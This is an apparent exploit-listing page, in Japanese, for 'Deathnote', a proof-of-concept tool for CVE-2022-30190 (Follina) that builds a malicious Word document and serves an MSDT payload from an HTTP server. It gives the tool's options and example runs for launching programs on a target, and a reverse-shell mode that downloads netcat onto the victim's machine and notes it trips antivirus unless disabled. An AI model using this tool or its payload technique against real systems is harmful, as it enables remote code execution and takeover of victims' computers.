## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MALWAREMAN007-DEATHNOTE
# Deathnote

### CVE-2022-30190 の概念実証
`MSDT が Word などの呼び出し元アプリケーションから URL プロトコルを使用して呼び出されると、リモートコード実行の脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、呼び出し元アプリケーションの権限で任意のコードを実行できます。その後、攻撃者はプログラムのインストール、データの表示、変更、削除、またはユーザーの権限で許可されたコンテキストでの新しいアカウントの作成を行うことができます。`
* * *
悪意のある Microsoft Word 文書を使用して「Deathnote」MS-MSDT 攻撃を作成し、HTTP サーバーでペイロードをステージングします。
# 使用方法
root@kitploit:~
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
# 使用例
`notepad.exe` を起動:
root@kitploit:~
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
`calc.exe` を起動:
root@kitploit:~
$ python3 Deathnote.py -c "calc"

### ポート 4444 でリバースシェルを取得します。**注: これにより、netcat バイナリが _被害者のマシン上に_ ダウンロードされ、`C:\Windows\Tasks` に配置されます。バイナリはクリーンアップされません。AV が無効でない限り、これによりアンチウイルス検出がトリガーされます。**
`reverse shell` を取得:
root@kitploit:~
python3 Deathnote.py -p 1234